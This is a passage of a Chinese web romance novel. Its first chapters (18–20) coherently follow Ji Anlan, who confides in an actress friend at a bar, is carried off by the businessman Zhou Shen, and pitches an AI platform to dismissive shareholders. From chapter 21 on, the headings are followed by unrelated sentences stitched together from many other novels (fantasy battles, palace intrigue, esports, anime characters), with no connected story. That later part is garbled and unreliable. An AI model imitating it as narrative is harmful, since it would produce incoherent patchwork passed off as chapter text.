“你这经历比我演的戏都还狗血!”姚姿拔高了音量,语气中充满了嗔怪。“话说出了这么大的事,你怎么才告诉我?”
纪安澜端起酒杯一饮而尽,辛辣刺激充斥在口腔,顺着喉咙直烧下去,心口涌起一丝烦躁。
“都过去了。”
“过去?”姚姿睨了她一眼,两人这么多年的好闺蜜,她最了解纪安澜,敢爱敢恨,但眼睛里绝不会容下沙子。
“这件事情过不去!我现在就联系狗仔,把江容川的底裤都扒得干净,让所有人都看清他这个渣男的嘴脸,看他以后还怎么好意思跟小三在一起。”
话音刚落,就掏出手机。
纪安澜立刻阻止了她。
“他现在和宋妘妘到底怎样,我都无所谓,我只要拿回属于我的东西!”
纪安澜黑漆漆的眼眸充满了坚定,只是眼底隐隐有一些复杂,尽管努力克制,还是被她察觉了。
纪安澜这时心中有事,不然也不会这个点找她喝酒。
姚姿身为知名影后,一般不会轻易示于人前,身边的狗仔多得数不胜数,也只有纪安澜一叫,她才会出来。
“好了,不提那些恶心的人了,今儿咱们就尽情地放松!”
说罢,冲着门口的方向勾了勾手指。
下一秒,几个身材高挑的男人鱼贯而入。
姚姿纤细的手指指了指男模们,一手给纪安澜倒酒。
“看上哪一个,跟我说,直接带回去,不然就地办了他也行。”
如此豪迈的话,男模们似乎早就已经司空见惯,他们凑过来,嘴甜地叫着:“姐姐,选我。”
谄媚而又温柔的语气,配上那楚楚可怜的表情,简直是我见犹怜,他们个个生得俊秀,身材极好,看一眼就让人血脉喷张。
男模们见纪安澜兴致寥寥,非常卖力地讲笑话、跳热舞,包房的气氛越发火热。
可纪安澜面无表情,对这些男模丝毫不感兴趣。
姚姿冲着男模们使了个眼色,他们立即使出浑身解数,个个围在纪安澜身旁。
有人捶肩,有人倒酒,甚至有人想要给纪安澜捏脚。
如此热情,让纪安澜觉得浑身不自在,甚至想要逃离此地。
在那只手快要触碰到高跟鞋的刹那,纪安澜站了起来。
她面色一沉:“我先走了。”
话音刚落,就要离开,姚姿一把拽住了她的手。
“等等!”姚姿挥了挥手,那些男模们很识趣地退到了房间的角落。
她一把将纪安澜拉坐在了沙发上,杏眼盯着纪安澜,认真关切地问:“你这是怎么了?心不在焉的,总不能真的为了一个江容川放弃一整片森林吧?”
“是为了他!”纪安澜脱口而出。
姚姿被这个回答惊到了,眸色一亮:“怎么?最近还有艳遇?”
脑海里瞬间充斥着周慎那张脸。
纪安澜赶紧摇了摇头,想把周慎从脑海里驱赶出去。
可一闭上眼睛,全都是两人接吻的画面。
纪安澜猛地睁开了双眸,脸上一热,她目光落在了桌子的酒杯上,端起来又猛灌了一口。
由于喝的太急,喉咙受不了辛辣,忍不住咳嗽了几声。
姚姿赶紧拍了拍她的背。
“你这是怎么了?感觉如临大敌,那是个什么样的男人?不会连我都不能说吧?”
纪安澜扭头看了一眼姚姿,做了心理建设半天,这才一咬牙,将跟周慎的事和盘托出。
“周慎?你是说那个周家的周慎?周家二公子?”
纪安澜倒是没想到,平时不关心商场的姚姿竟然也知道周慎,眼中闪过一抹惊讶。
姚姿神色不自然地解释:“我……偶尔也会参加一些商业活动,听过这个名字,觉得耳熟。”
“你是说你们两个人是在兰会所认识的?”姚姿捕捉到了关键的信息。
纪安澜点了点头。
“我听说,前不久,有个姓吴的被人打断了手,也是在兰会所,这事你知道吗?”
当时这件事情闹得挺大,虽然被压下去了,不过姚姿觉得很好奇,那个姓吴的听说很有势力,一般人不敢动他,可能把此事做得滴水不漏的,只有寥寥几人。
现在想来,极有可能是周慎做的。
姓吴的?
纪安澜沉吟了一番,口中念念有词:“吴有天?吴有天他也在。”
只要想到吴有天,就会想到不好的回忆。
“他为难你,所以手臂才被周慎给断了!”姚姿很快的就得出了结论。
纪安澜被她的这个想法给吓了一跳。
当时她跟周慎仅有一面之缘,周慎会为了她而去断了吴有天一根手臂?
脑海里全都是周慎那双似笑非笑的眼睛和身上与生俱来强大的压迫感,想起姚姿说的话,纪安澜的心跳不受控制地狂跳了起来。
“听说那个吴总已经倾家荡产,甚至到现在还在住院呢。”
姚姿啧了一声:“一怒为红颜,这听起来挺有意思,比你那个豪门狗血剧强得多。”
但这个设想很快就被纪安澜给否定了。
“不可能。”纪安澜一本正经:“周慎是个商人,无利不起早,怎么会平白无故地帮我?更何况那个时候我们才刚见了一面。”
一想到搭他的顺风车都要“车费”,要是帮她教训了吴有天,指不定还会提出多么过分的要求。
“你是说他很小气?”姚姿更加八卦,凑近了纪安澜,想要听更多关于周慎的信息。
一提到周慎,纪安澜就会想到那个火热的吻,脸上更加热了,她捂着脸颊,拒绝继续提起周慎。
而此时,房间的角落里,一个男模悄悄地掏出手机,发了条信息。
——暮色酒吧私人包厢999。
配图是纪安澜在现场的照片。
发完信息,男人掀起眼眸,目光朝着姚姿看了过去。
笔直修长的双腿交叠着,九头身材显露无遗,巴掌大的小脸上五官精致,一看就是天生的明星相。
原来这就是姚姿。
周霆云眸色幽深,唇角上扬了一抹弧度。
母亲一直念叨着姚姿,说要让两方联姻,他从没见过母亲如此夸赞一个女孩,忍不住过来看看,没想到居然听到了那么多的八卦,还有关于他弟弟的,这倒是稀奇的紧!
也不知周慎听见这些八卦会是什么表情?
第一卷 第19章 现场抓包
“周慎不光斤斤计较,他还是个变态!”
纪安澜耐不过姚姿软磨硬泡,这些话脱口而出。
先不说“车费”的事,光是让他做三个月的情夫,这样的无理要求,这个正经人能提出来的吗?
砰——
包厢门猛的被踹开。
一道颀长的身影赫然入眼帘。
一身得体的西装勾勒出完美的身形,逆光而站,灯光将他的侧脸修饰的棱角分明,一双墨染的眸子微微抬起,目光精准地落在了纪安澜身上。
纪安澜呼吸一窒,杏眼圆瞪,不可置信地盯着周慎。
“纪总,聊什么呢?这么开心?”
低沉的嗓音泛着好听的磁性。
在纪安澜听起来,却像是一道催命符,她感觉头皮发麻。
说人坏话的时候,被当场撞见,还有如此令人尴尬的事吗?
纪安澜恨不得找个地缝钻进去。
张了张嘴,纪安澜只觉得大脑一片空白,眼神飘忽,神情紧张,甚至开始想,刚刚有说什么过分的话吗?
周慎迈着修长的腿,三步并作两步走到了纪安澜面前。
目光紧盯着那泛红的脸颊,周慎勾唇问:“聊完了吗?”
纪安澜恍然回过神来,撞入那双深邃如渊的眸子,来不及收回目视线,有些结巴:“我……我……”
突然,男人俯身弯腰,伸出手臂,骨节分明的手落在了她的腰际,轻而易举向上一托,另一只手放在她的膝下,将她横抱而起。
感觉身子腾空而起,纪安澜倒抽了一口凉气,手指下意识地搭上了他的脖子。
鼻息间充斥着一股熟悉的雪松香,火热的视线,垂眸盯着她,纪安澜感觉心脏跳得极快,仿佛下一刻就要冲出胸膛。
“周慎,你放我下来!”
纪安澜愣了片刻,反应过来,挣脱着想要下去。
周慎紧抱着她,目光环顾四周,最后视线再次定格在纪安澜的脸上。
“纪总,还没玩够?要是还不尽兴的话,我来陪纪总玩,怎么样?”
他慢慢的俯身而下,温热的鼻息喷薄在脸上,灼烫着肌肤,似笑非笑的眼眸泛着揶揄。
纪安澜心口一震,又想到了那个火热的吻,迅速摇了摇头,身子紧绷,头缩了缩,不敢有多余的动作。
“既然纪总已经玩够了,那该谈谈我们的合作了。”
被他紧抱在怀中,等于被捏住了七寸。
除了答应,纪安澜别无选择。
不等她回答,周慎闲庭信步地转身,抱着她离开。
这时,一直在看热闹的姚姿反应过来,忙站起身想要去阻止。
脚步刚抬起来。
周慎微微停了下,侧头对着旁边说了一声:“哥,今天多谢了,改天请你吃饭。”
姚姿顺着他目光的方向看去,一个身材挺拔的男人伫立在那里。
眉眼跟周慎长得极相似,气质越发沉稳,一身黑色西装,衬得身材比例极好,这不正是周霆云吗?
眼中闪过一抹惊诧,姚姿如同被雷击中,浑身僵硬,动弹不得。
只见周霆云冲着周慎点了点头,目光旋即朝着她的方向看了过来。
姚姿来不及收回视线,正撞入那双深沉的眸子里,她眼神划过一抹慌乱。
周霆云怎么会在这里?
她刚刚点的不都是这里的男模吗?
刚才周慎那话是什么意思?难道是周霆云喊他来的?
话说,刚才门没有被打开过吧?
这么说,周霆云从始至终都待在这个房间里,那么她跟纪安澜的对话,被他全都听到了?
意识到这一点,姚姿大脑一片空白,眼神涣散,努力想着刚才跟纪安澜说的话,生怕说多错多。
砰的一声,门被关上的声音。
姚姿骤然回过神来。
高大的身影伫立在面前,掀起眼眸,撞入那双漆黑的眸子。
姚姿心口一滞。
她还是第一次如此近距离地观察这张权威的脸,举手投足间,透露着豪门贵公子的优雅,眉眼如墨,鼻如驼峰,唇若樱瓣,简直就是女娲的杰作。
这不是他们第一次见面,第一次是在一个商业晚宴上,惊鸿一瞥,一眼万年。
没想到再次见面,居然会是这样的场景。
她刚才对着男模似乎很嚣张?
全都被他看在眼里!
她还说了,找男模好好放松放松?
越回忆刚才发生的事,姚姿越恨不得找个地缝钻进去。
“姚小姐,初次见面,你好,我是周霆云。”
骨节分明的手落在眼前,姚姿脸红的像是刚煮熟的虾子,紧张得手心直冒汗,在身上擦了擦,这才握住了他的手。
掌心冰凉,触感使得姚姿瞬间清醒,努力地扯了扯唇,尬笑道:“你好,你好……”
幽深的眸子紧紧盯着姚姿,看着她的反应,周霆云勾唇浅笑。
“姚小姐,其实我这次过来,主要是为了跟你谈谈结婚的事。”
语不惊人死不休。
姚姿呆愣在原地,如同遭雷击中,久久回不过神来。
“结婚?”许久,她才找回声音,语气中是难以遏制的惊喜。
周霆云一本正经,语气认真:“我母亲很欣赏你,一直在我耳边提起,我们两家也有过往来,我母亲说,曾向你家提过婚,却石沉大海,不知是否对我有意见?”
姚姿头摇得像拨浪鼓。
周霆云这是在向她求婚吗?
难道这是在做梦?
姚姿悄悄地掐了大腿一把,疼得眼泪都快掉出来了,这才确定不是在做梦。
面前这个风姿卓越的男人,是真的。
他就是周霆云,那个仅见了一次,就令她念念不忘的男人,此刻出现在她面前,说要跟她谈结婚的事?
天上掉馅饼的好事,终于轮到她了吗?
“姚小姐?”周霆云见姚姿不说话,低沉的嗓音温和地叫了一声。
姚姿用力点头如啄米,双眸放光,大脑里一片空白,锃亮的眸子里映刻着那张令她魂牵梦绕的脸,太过激动,连话都说不出来了。
与此同时,纪安澜也一句话也说不出。
她被周慎抱着出了酒吧,硬生生地塞进了车的副驾驶座上。
“我要下车!”
听见车门关上,纪安澜这才反应过来,脸涨得通红,又急又羞。
“纪总,难道不想谈合作了?”低沉的嗓音在耳畔传来。
合作?跟周慎哪有正经的合作?
难道周慎又想强吻她?纪安澜赶紧伸手捂住了嘴。
周慎低笑出声。
第一卷 第20章 等着付车费吗
纪安澜视线瞟向窗外,对周慎的反应充耳不闻。
合作估计早就被周慎抛之脑后。
她不会再上当。
突然,什么东西在眼前一晃?
定睛一看,是一个文件袋。
“打开看看。”
低沉的嗓音泛着一丝难得的认真。
纪安澜狐疑地打开文件。
看到项目策划书后,纪安澜呆住了。
猛地抬头,看向周慎:“你……”
“之前太忙,没来得及细看。”周慎侧目看他,骨节分明的手搭在方向盘上,语气平淡,“现在有空了,聊聊你的项目。”
“关于AI智慧平台,现在很有发展前景,不仅能够快速的帮到用户,若是发展得好,不仅能够提高公司的形象和可信度,还能增强用户的信任感。”
周慎眉峰一挑,眼底带着审视,落在她身上:“据我所知,市面上现在已经有不少AI项目。”
这句话一针见血地指出了问题。
头一次见他一本正经地说话,纪安澜还有些不适应。
她脊背挺直,灰暗的眼睛闪过一抹亮光,极认真地讲起了关于方案的见解和解决方法。
周慎手指敲击在方向盘上,冷峻的面上不见喜怒,静静地听纪安澜讲完。
“周总以为如何?”
“明天,带着文件去远卓科技。”
远卓科技?周氏的产业。
“这么说,周总同意合作了?”纪安澜眼前一亮。
周慎眉峰微挑:“你只过了第一关。”
狭长的眸子微眯着,他的眼底渗透出一丝凉意,墨染的眸子泛着冷芒,手握着方向盘,车子缓缓行驶,霓虹的光影在车窗上流动,映得周慎的侧脸忽明忽暗。
“那些老家伙可未必像我有这么有眼光。”
听着他自言自语的话,纪安澜不明所以。
“明天我陪你去远卓科技,至于能不能成功,看你自己的了。”
薄唇微启,周慎侧目瞟了她一眼,墨染的眸子饱含深意。
纪安澜自信地勾了勾唇:“周总且看着吧。”
既然周慎都是这反应,想必明天有一场硬仗要打。
纪安澜低头查起了远卓科技,旁边男人的视线有些灼人,她充耳不闻,努力地保持淡定。
车子终于停下,纪安澜的手试探性地放在了门把手上,这一次纪安澜轻而易举地打开了。
眼中闪过一抹诧异,纪安澜愣了一瞬。
看着她的反应,周慎邪魅的唇角微微一勾,突然倾身过来,巨大的压迫感扑面而来。
熟悉的松木冷香充斥在口鼻间,看着近在咫尺的俊脸,纪安澜身子紧绷,下意识地伸手捂住了嘴。
仅露出的黑瞳湿漉漉的,像是受惊了的小鹿,可爱极了。
“怎么?纪总迟迟不下车,不是在等着付车费吗?”
一听到“车费”两个字,纪安澜的脸一热,瞬间红到了耳朵根。
她逃也似的开门下车,步履生风,头也不回地往家里赶。
身后,男人的眸子幽深,眼底翻涌着不明的情绪。
翌日。
远卓科技楼下。
纪安澜一身干练的西装,目光坚挺,手里紧攥着文件袋,深吸了口气,跨步迈进了门。
她找到前台,说明来意。
前台面露难色,去后面打了个电话,这才转达,让纪安澜去二楼会议室等。
偌大的一个会议室里,空荡荡的只有纪安澜一个人。
等了大约一个小时,无人问津。
纪安澜干脆站起身,朝着外面走,打算问一问情况。
刚一出门,便看到一个大腹便便的男人。
纪安澜立即上前,友好地问道:“请问,这一层的负责人是谁?”
男人上下地打量了一番纪安澜,耸拉着眼皮:“我就是。”
“你好,我是纪安澜。”纪安澜友好的伸出手,做自我介绍。
“我是来谈AI智慧平台合作的,应该提前打过招呼。”
既然周慎让她来,应该不会不打招呼吧?
“哦,你就是纪安澜。”男人目光在纪安澜身上打量,多了一抹意味不明的笑意。“我姓刘。”
“刘总,我们什么时候开始谈合作?”纪安澜开门见山地问。
刘亮张了张嘴,刚准备说些什么,突然身后涌出来十几个人。
他立刻改口:“现在就可以。”
话音刚落,回头招呼那些人进了办公室。
纪安澜站在台上,简明扼要地讲了关于AI智慧平台合作的一系列方案,着重讲了合作的发展前景。
说罢,目光扫视了一眼在场的股东。
他们个个意兴阑珊,特别是刘亮,俨然一副不感兴趣的模样。
“刘总,你对这次的合作……”纪安澜试探性的一问。
刘亮立刻道:“现在AI盛行,跟谁合作不是合作?听说你是江家的儿媳?”
纪安澜现在最烦被扣上“江家儿媳”帽子,眼中划过一抹不悦,转瞬便恢复冷静。
“我们谈的合作与江家无关。”纪安澜淡然勾唇。
刘亮眼中闪过一抹诧异,扫视了一圈,其他股东面面相觑,交头接耳。
“你这是什么意思?”
“你难道不是代表江氏来与我们谈合作的?”
“江夫人,你怕是在开玩笑吧?”
所有的股东哈哈大笑。
纪安澜一脸严肃,冷声道:“我是个人来跟你们谈合作的,与江家无关。”
掷地有声,一字一句,字字铿锵有力。
而众人闻言,霎时鸦雀无声,所有的人交头接耳,面露不悦。
刘亮冷冷地瞥着纪安澜:“江夫人,不要再开玩笑了,我们合作意向一直都是江家,你身为江夫人,难道要抢自家的合作?”
“我叫纪安澜,不是什么江夫人!”
纪安澜面上一寒,冷冷地瞥了一眼众人。
将文件甩在桌子上,纪安澜双手撑着桌面,声音冷然:“合作讲究的是互利共赢,江家能给的,我也能给,而我自认合作方案不会输给任何一个人!”
身上强大的气场让众人一惊。
但很快的,刘亮率先质疑:“你就是一个女人,说白了,出去挂个江夫人的名头还有人合作,除掉这个名头,还剩下什么?”
话音刚落,底下响起了嗤笑声。
“对啊,江夫人,这么做不是想搞黄自家的生意吗?”
“反正都是赚钱,挂谁的名头都一样。”
“难道我们不选择江家,而选择你吗?你有资金吗?别到时候赔钱的是我们!”
刺耳的嘲笑声不绝于耳,犹如一根根绵密的针,插在心口上,纪安澜双手紧握成拳,指甲镶进肉里。
第一卷 第21章 男人腰好才能撑腰
“大伯……”廖新担心的蹙紧眉头,第一次他看到大伯这样的落魄。
其实,若非纲手来通知自己的话,他也不想这么早回到木叶这么一个是非之地!一帮只会搞内斗不会搞外战的猪队友有什么好照顾的!?
“什么?”哀苍如五雷轰顶一般,心重如千斤地往下跌落。他以为桃鹤君刚刚警告过自己,就会觉得他定会避开这个最笨的选项。为何,为何他竟然可以同时说出自己心中所想?
尤其是这雷锤落下的时候,一道道的雷霆居然化作了一个雷球,这个雷球是高度压缩的雷霆之力,其中蕴含的力量更加可怕。
“不用谢他,你也看到了,这家伙本来就和这怪物背后的人有仇!”何月灵走到了黄源的身前。
梦琪没有拒绝,看到他帮自己带上的戒指,色泽很亮,正圆,比奶奶送来的手链珍珠,一点也不逊色。
“你的废话太多了。”少年的表情越发冷漠,连凤眸里都凝了一层冰霜。
宁江的身上,充满了无数的谜团,若是能够揭开这些谜团,得到宁江的所有秘密,对于他们而言,将会是天大的造化。
对于每一个招呼,陈征或是笑笑或是点点头,并没有摆出面对高层和外星人时的高冷姿态。
被点名道姓了……素素诧异地睁大眼睛,她跟这些左邻右舍可没什么联系?怎么会有人来找她?
下一秒,门口的人鱼贯而入,乔熙让了一下位置,给他们进去,自己靠在门边看戏。
想起前段时间自家主子做的死,柳絮闭着眼睛只希望自己能留下一条命。
吐槽声一并传来,陆昕澜笑着抬眼去看裴氏,就见裴氏笑容背后同样有些头疼。
的的确确是没脉搏了,没脉搏的人不可能还活着的,可为什么身体却没有僵硬之态。
他们两个结婚的婚戒都不知道被她扔哪了,现在都不一定能找到。
原来会所里的规矩,点鸭就是用酒点的。贵的酒跟贵的鸭绑定在一起,便宜的酒就跟便宜的鸭绑在一起。
见他同意了自己的说法,温妤将银票塞进了他的衣襟中,然后拍了拍他的胸脯。
乔熙的脑袋在上面探出来,满脸都是今天干完活的泥污,显得牙齿更白了。
他还知道他身子脏,白玉安看他不仅身子脏,连心思也肮脏龌蹉。
同样喜欢常青的,还有刘婆子,她这几天将李府内外仔细摸了一遍,在她看来,东跨院里就属常青最憨笨。
“你不应该亲自出面。”张嫣然平静陈述,指出他的不对之处,车内不只是司机,副驾上还坐着随身跟着的欧阳晴。
在陈氏兄弟杀向宋家老祖的时候,其他四人也都加入了战斗之中。
“那既然是报恩,午饭就让你妈妈教你做,我一会把公司的事情在午饭前处理好,下午我们去钓鱼,就这么定了。”张润辉倒是欣赏张嫣然有恩必报的性子,便擅自做了决定,对于此事杨清琴并没有意见。
李长安和李渔分别重复了一句林秉说过的话,李长安感觉莫名其妙,他不明白自己好好的为什么要向他道歉;而李渔则是起了杀意,她身为一国公主,平生还是第一次受人威胁。
才刚闭关出来,李长安决定休息一段时间,毕竟修行也要张弛有度。
不介意未婚妻曾经痴傻,不曾想依靠妻族借势的男人,怎能不叫谢妈妈心悦诚服。
以后就算他再想看到她吃醋的样子,也不会再开这种让她不安的玩笑了。
只是从前,她不常出去交际,亦是不怎么爱打扮,就算是公众场合,也都是十分低调朴素的跟在无双等人身后。
“这倒也有可能。”看到剑冲霄如此着急,三人顿时也知道是误会他了,仔细一想,剑愚确实有很大嫌疑,就说他有时间立墓,却始终没有与他们进行联系,就十分值得怀疑了。
“好!”秦清哽咽着答应。此时她已无暇顾及那个挂名夫泡秦朝阳,她只知道如果错过了眼前这个男人,她会把一生都用来后悔。嬴政眼中映着暖暖地笑意,紧紧将秦清拥入怀中,好像怀里抱着天下间最宝贵的东西。
吕不韦此举,虽然在秦清的意料之中,但她依然表现出很惊讶的样子。余管家在忙生意,还没有回到客栈,秦清只带秀儿一同前往。
太空科技,这是每个国家最核心的技术了,也代表这最高的科技水平,结果一家成立了三年的游戏公司突然说了一句,国际领先?
居间惠办公室里,居间惠把飞鸟的问题说了出来,当初大古在的时候,居间惠虽然猜到了可是却没说,知道丽娜漏了嘴。
温柔人心的一首歌,看着他深情演唱,周围吵闹的粉丝们也安静下来,刚听旁边的人说是他的成名曲,难道曲和词都是他自己写的?
第一卷 第22章 男狐狸要谢礼
“荀无遮?”西门情一愣。这个名字她听过很多遍了,就是因为这家伙,才害得包租婆沉迷泡面头,好好的一个白富美硬是变成了一个怪胎。
饕天野可没有阳旭这般放松,听到阳旭随意的回答,完全没当回事儿,扭头继续紧张地盯着虚空兽和狂暴冥放的战斗。
六头龙鳄咆哮,同时而动,带着浩瀚的声势,彻骨的冰冷,横冲而来。
“秦先生,您恐怕不会跟我们一路走了。”杜青山在见到秦尘的时候笑着对秦尘解释道。
偏偏他是一个男子,优雅淡然的气质,令人油然生出一种亲近感。
结果似乎被对手看出了目的,骤然加紧了攻势,逼得宫钧只能拿出原本保留的一分力,两人拳来刀往,气劲横溢,远看就像一个青色团子拼命想要挣脱出泥沼。
全场一片哗然,有人明白了为什么振兴武馆要让一个扫地的来参加比赛,不少有人更是猜测往后的赛事里,那名叫夏亦的人怕将是一匹黑马了。
红帮的元老之一,红帮嫡系家族洪家之人,但是却并非正房嫡子出身。
“额……好像不算太严重?但是我这两天去他宿舍找他都没找到人,不知道是不是住院了。”梅茵茵煞有其事的说道。
杨国安回到屋里,王常林心里紧张,却装作没事人式的打量着杨国安,他要从杨国安的表情上看出端倪。
逍遥门的人都在这范围内,要是两鼎爆炸,只怕是连逍遥门的人都别想好过,他就赌夏天不敢动手。
白把牧牧堵在一个死角里面,牧牧眼角的余光瞄到了一个不该出现的人。贱神。
“你就是这个餐厅的负责人?”陈达茜放开服务员的衣领,一脸冷意地看着她问道。
“好了,那么接下来请宣布你的挑战重量吧!”裁判按照流程提出了问题。
一切都清楚了,真正要杀楚天雄的是何玉贵,可能他知道的太多了。
大乘期的修炼者也不会傻的不飞升,引来仙界的怒火,修真者修炼为了什么,不就是白日飞升吗?最后一刻谁会傻不拉几的留在下界。
“难道这位才是本体,而哪一位才是分身?”贝吉塔看着弥彦,认定他应该才是分身,原来如此吗?那刹那间升起的恐慌,也消散一些。
第二天,王华就把钱打到卡上,林天也没有再去买车,还是龙天翔听说了以后,又给林天配置了一辆,还给林天装上了一个特殊的号牌,一般人是看不出号牌的作用,只有那些圈子里面的人明白,特殊的号牌代表着什么。
还未等蓝蟒落地,陆清宇又紧跟上一脚,瞬间便踢中了那蓝蟒的头部,显然是想要将其踹出空地去。
“什么世外桃源,穷山恶水还差不多。那个村落比较排斥外来人,态度特别不友好,所以当地政府对于那个村落的记载也异常的稀少。
展流云站起来走到一旁凭着记忆施展了一遍,虽然不是很流畅但也记得了七七八八。
听着欧阳若这么一说,叶卫目光闪烁,坐在床上,似乎在想着什么。
陈钞票心中长出一口气,若是三人问起他到底是身份,他还真不好回答,尼特么有个那么牛逼的哥哥,你能差到哪儿去?
羽天齐微微摇头,也不再继续努力,直接探手虚空一抓,红色璞玉便从炼器炉内飞出,乖巧地落在了羽天齐掌心之中。
“呵呵,仙师言重了,今次我派汇聚了天下各路豪杰,遇见一两名故友知交也是很正常的事,既然是误会,仙师便请吧!”说着,那护卫队长让开了道。
可也要分事情,如果自己都保护不了自己却还偏偏抓着尊严不放,那就是愚蠢。
这时候,端木卓看着手机上自己的luo身照片率先按耐不住心中的怒意,光溜溜的便是掀起被子,不顾将全身暴露在叶卫的眼前,端木卓便是冲向了叶卫,一拳朝着叶卫的脑袋击去。
“风哥,你别说话,先听我说,先派点人到媚姐家里!要精英,最好是杀手!事情完了!好处不会少的!详情现在我没法儿告诉你,你不派过来,很可能会看不到我了!”陈钞票说道。
目送西陵天磊和南陵锦凡离去后,蓝九卿在心默默地盘算时间,觉得差不多了,便信步往前,准备去看热闹,那方向正是西陵天磊与南陵锦凡离去的方向。
这也不是封以珩第一次送她上班了,却是确立恋爱关系后的第一次。
“呵呵,仁者见仁、智者见智,高岚妹妹可真是伶牙俐齿,呵呵。”乐凡笑了笑说道。
立即有太监匆匆前去叫太医了,也没人想起来眼前就有一个医术高明的君绮萝,或许是想到了,却没人敢提出来让她为太后看诊。
贺德峰越想这事情越不对劲,他就越谨慎,开始询问其他人的意见。
叶枫岂能让温碧云如意,伸手一拉,温碧云娇躯直接扑入叶枫怀,“碧云老婆,看你哪儿逃!”直接俯身亲吻下去,温碧云也是渐渐积极回应着叶枫的亲吻,纤纤玉手也渐渐环绕上了叶枫的虎背。
一拨人以一个穿着灰色西服的中年男人为主,中年男看起来大约四十多岁,身材倒是很强壮,只是眉眼间多了几丝戾气,给人一种危险的感觉。
第一卷 第23章 狡诈的男狐狸
关鸿不达,然后松开手,他一时没cao控住冲到前面,直接冲进那头狼的嘴里。
孟怀谨本来在挨训,离皇帝最近,皇帝这一晕倒,恰好就摔在了孟怀谨跟前。
而自己,之前不光没给他们好脸,还一口一个土老帽儿侮辱来着。
这位李雅熙今年四十岁左右了,不过保养的很不错,看起来也挺年轻的。
知忆消失后,夜明战眸子里的神色越来越复杂,他的手指下意识的紧紧我握住,思绪再次回到了五百年前。
就连她看顾九江与叶清秋两人也能看的出来,他们最多只能做一做兄妹,毕竟年纪摆在那儿了。
在剧毒魔爪攻击过来的瞬间,虚幻的魔影异相,直接笼罩他的全身,浓郁而带着腐蚀性的邪气,蛊惑性的精神攻击,通过各个角度向他发动攻击。
但是,宋易飞拳法威力无穷无尽,直接把盾牌打的连连粉碎,一往无前。
之后,是冥殿骑士团,是暗黑扑克牌,是游走在龙国边境的各种豺狼虎豹。
当然,能被拿上拍卖会的至少也是这个价了,普通的下品灵器是上不台面的。
晚上七点半,兰溪拖着无比疲惫的身子,终于回到了自己的屋子,刚一进门就直奔卧室一头扑倒的床上。
“难道你是少始境大圆满的修为?对,你那么厉害,一定是!”花元风很兴奋的说道。
想想算了算了,虽然这具身体已经被他蹂躏,但自己并不知道,心理上没有阴影,再说这样一个大帅哥,事后又从奴才做了最低等的主子,也不算太吃亏呀。
苏彦出来后寻了一番秦逸臣,想来还未出来,便独自一人回去了。
也没见奥玛科如何施法或下指令,便只听见一声声作响,那堆积在暗奇尔四面八方的尸体上,顿时迅速的爬起一个个手执大镰刀的骷髅战士。
现在,还不是想这些事儿的时候,待以后,寻了空闲,再去跟纳兰雪问询,也是不迟。
莫济并不是个蠢人,在听了纳兰雪的这般分析之后,哪里还能不明白,自己也是被风墨制造出来的“陷阱”给坑了进去的人?
可为什么,这该死的男人转过身就判若两人?是因为突然冷落了花贵妃,她抬起那张如花的老脸撒娇撒痴寻死觅活一哭二闹三上吊,逼得望帝大叔鱼与熊掌不可兼得,才不得不舍了自己?
说完,他轻扬如雪苍白衣袖,镜子便在眼前消失,徒留宫御月在这一头对着空气干瞪眼。
灯光霓虹闪耀在本该寂静的夜里,车水马龙的街道充斥着现代化的气息。
“不行,万一我没有看错呢?”说着,我再一次对上了金夜炫的视线。
林一凡无言以对,因为事实上一尘的身体确实硬如钢铁,他无法反驳。
游仙螺岛时,导游没有来,游人们自己在岛上浏览,欣赏蔚蓝的大海环绕着的仙螺岛。
作为汽车城这边的销售引导员,看到叶琼这种老同学有意向过来购车,基本上就已经稳稳的将这个客户拉在手中了。
雷明不忍心抛下这么好的东西,尤其是玄仙境大人物的仙戒;即使他现在打不开,也有用处。等回到雷震国,就可以打开了。
其次、我们对于这部电视剧很有信心,并且不担心没有买家,这便是我们的底牌。
雅贵妃,那不是龙杰的亲娘么?贾千千又开始头疼了,这雅贵妃精明势利,是她最不愿打交道的人,偏偏来给她庆生,简直是自找罪受。
叶琼不是傻子,史崔克更不是傻子,他怎么可能把所有的机器人全都交到叶琼的手里。
“那个,我随便说说,你别放心上。”老爷子摆摆手也知道自己说这话有些唐突了。蘑菇屋里,赵俪颖按黄垒的吩咐,烧好了开水_等着他们回去神咖啡。
“家里我倒是放心,有她~妈在家,还有我的安保团队,只不过是我担心路上这些人会对我不利,所以我想你跟着我随行,做我的贴身保镖,只带你一人!”李连军说道。
“咬字用得好,但这句话整体来看,太普通了些吧?”一些人道。
这可以说是医疗界公认的绝症,要知道世界上每年将近有八百八十万患者死于癌症,这可是一个非常恐怖的数字。
自从钓到一条鱼之后赵俪颖信心倍增,她的双双且炯炯有神一直注视着水面上的鱼漂_只是不知道是不是鱼儿变聪明了的缘故,二十分钟过去了_ 她也没钓到第二条鱼。
只要干掉了蓝海跟坦克,就可以拿下他们的阵地,进一步的蚕食FC的阵地了。
十八的解说不算最专业,但绝对是最会造气氛的,这一上来,比赛还没开始,全场观众就嗨了。
第一卷 第24章 亲手做的谢礼
他的话一出,所有人的目光都是好奇的看向了紫随风,等着他继续说下去。
陈林心中一动,吴向涛说的是“要我回去看一看”,而不是“我要回去看一看”,这让陈林明白到一件事,他要看的这个病人很大来头。
姚思绮张大嘴巴,这人还真的是武装押运部的总监,她的顶头上司?
他的声音刚落,无数道灵力组成的雷电如同下雨一般迅速下落,而那魔神分身终于无处可躲,直接被这雷电给洞穿了身体。
“这…”李自问皱起眉头,“几位弟子明显是来捣乱的,但说的却有道理”正在踌躇不定时,木子云回身对李自问说道:“大师傅,师兄们说的有道理”李自问眉头皱的更紧,这木子云说什么胡话?
两人的话说完,整个宫殿突然变得诡异的安静了起来,一股沉闷的气息充斥着这片空间,令人都是喘不过气来。
三月十五日,江安义携妻带子来到大北田沟,随行的还有方别驾以及府衙的一些官员,而闻讯随同前来看热闹的乡绅和百姓们将整个大北田沟的道路挤得严严实实,乌峰县的衙役们忙得满头大汗,维持着交通。
等到两名下属都走出去了,宫主又重新坐了下来,淡淡的自言自语道,随后对着空气呼唤到。
终于,过了一会儿后,屏障自动消失了,一阵大风将蒸汽全部冲走,我们才看清了擂台上的情况。
所以前段时间没事的时候,齐浩定做了一种非常结实并且纤细的金属线。
陈林决定选择后者,毕竟与其呆在这里什么都不做,不如去碰碰运气。
“轰隆隆!”巨响惊天,辰龙的道门疯狂颤动,但道门毕竟是道君一身修为的精华所在,愣是挡住了绝灭杀的攻击。
秦明秉承着好吃营养吃饱健康又不浪费的原则,打算做个两荤一素一汤,再加上一个饭后甜点。确定了晚上要吃的菜,秦明的动作也就不再拖沓,很是麻利的处理起了各种食材。
